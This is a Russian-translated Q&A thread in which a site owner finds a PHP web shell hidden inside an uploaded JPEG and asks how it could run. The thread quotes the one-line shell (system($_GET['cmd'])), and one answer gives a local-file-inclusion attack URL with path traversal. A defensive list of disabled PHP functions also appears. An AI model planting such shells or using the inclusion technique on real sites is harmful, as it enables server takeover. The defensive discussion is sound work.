Мой php сайт был взломан кодами, загруженными как изображение ..? - PullRequest
8 голосов
/ 17 августа 2010

Вчера мой сайт был составлен.Атакующий изменяет файл index.php на свой собственный (со всеми своими сообщениями славы и приветствия).Я уведомил об этом хостинговую компанию (мы работаем на выделенном сервере), и, со своей стороны, я пытаюсь исправить все, что кажется причиной, потому что я все еще не могу указать, как именносервер был атакован, но я думаю, что я нашел некоторые основанные на сценариях лазейки, которые могут быть причиной.

На нашем сайте есть форма загрузки изображений, но все загруженные изображения проверяются, если они действительно являются файлом изображенияа не некоторые коды с использованием функции php getimagesize.Только если тип изображения IMAGETYPE_GIF или IMAGETYPE_JPEG, или IMAGETYPE_PNG, они будут приняты.Иначе, они не смогут загрузить файл.Однако я обнаружил, что один загруженный файл изображения содержит скрипт php!Вы можете скачать изображение здесь .Это допустимый файл изображения, но попробуйте открыть изображение с помощью любого текстового редактора, и вы найдете внутри него код php:

<code><?php

echo "<pre>"; system($_GET['cmd']); echo "
";?>

Например, изображениезагружен в это местоположение (www.mysite.com/uploads/picodes.jpg). Обратите внимание, что разрешение на загрузку в папку равно 755. Есть ли способ, которым злоумышленник может выполнить систему (или любую другую команду, такую ​​как passthru,поскольку мы обнаружили, что другое изображение имеет тот же код, что и выше, но вместо системного оно имеет команду passthru), например, набрав www.mysite.com / uploads / picodes.jpg? cmd = некоторая команда ?? Насколько мне известно, это невозможно сделать (очень ценю, если кто-то может доказать, что я не прав), если только злоумышленник не может переименовать файл jpg в php, и даже в этом случае эти коды скрыты глубоко внутри изображения (пожалуйста, посмотрите изображение в текстовом редакторе, чтобы понять, что я пытаюсь сказать)

Для предосторожности я отключил эти функции php (exec, passthru, proc_close, proc_get_status, proc_хороший, proc_open, proc_terminate, shell_exec, system), добавив их в disable_functions в php.ini.

В любом случае, я все еще думаю, что злоумышленник получает доступ не через веб, а через использование сервера, но я думаю, что мой хостингКомпания думает иначе.

Ответы [ 4 ]

5 голосов
/ 19 октября 2010

Файл изображения с произвольным кодом PHP не может быть использован с прямым запросом к нему, например, http://www.mysite.com/uploads/image.jpg?cmd=somecode.

Тем не менее, он может использоваться с уязвимостью Local File Inclusion.

ДляНапример, в index.php вы используете include('pages/' . $_GET['page'] . '.php');, тогда злоумышленник может загрузить изображение с PHP-кодом внутри и выполнить команды с чем-то вроде этого: http://www.mysite.com/index.php?page=../upload/image.jpg?cmd=somecode%00

UPD: изменил файл в URL на страницу

4 голосов
/ 17 августа 2010

Файлы JPEG могут содержать произвольные данные в дополнение к фактическим данным изображения;это часть спецификации.Таким образом, простая проверка, является ли изображение допустимым JPEG, не означает, что файл обязательно абсолютно безвреден.

2 голосов
/ 04 февраля 2013

Мои настройки загрузки файла изображения: выгрузить файл во временную папку, создать новое изображение с помощью imagecreatefromjpeg или imagecreatefrompng или imagecreatefromgif и сохранить, удалить загруженный файл из временной папки (все это происходит в рамках одного действия скрипта, поэтому файл загружается в временная папка давно не существует)

2 голосов
/ 20 октября 2010

Это не может быть уязвимость в вашем коде.У меня было то же самое, что случилось со мной несколько недель назад.Хотя ВСЕ мои файлы index.php были удалены, даже те, которые напрямую не доступны через Интернет.В моем случае это была дыра в безопасности в Linux.Не имеет ничего общего с моим кодом.Это был ответ от моего хостинг-провайдера (A2Hosting), касающийся проблемы.Как только я убедил их, что это не то, что я сделал, они довольно быстро все выясняют.

"Недавний эксплойт в ядре Linux использовался для предоставления административного (корневого) доступа к каталогам пользователей на сервере.Атака заключалась в удалении индексных файлов, найденных в каталогах, и замене их желаемым контентом злоумышленника: черной веб-страницей с кодовым именем злоумышленника «iSKORPiTX (Turkish Hacker)». Этот хак был массовым в Интернете и использовал ранее неизвестную уязвимостьограничивая наши возможности по предотвращению этого. "

...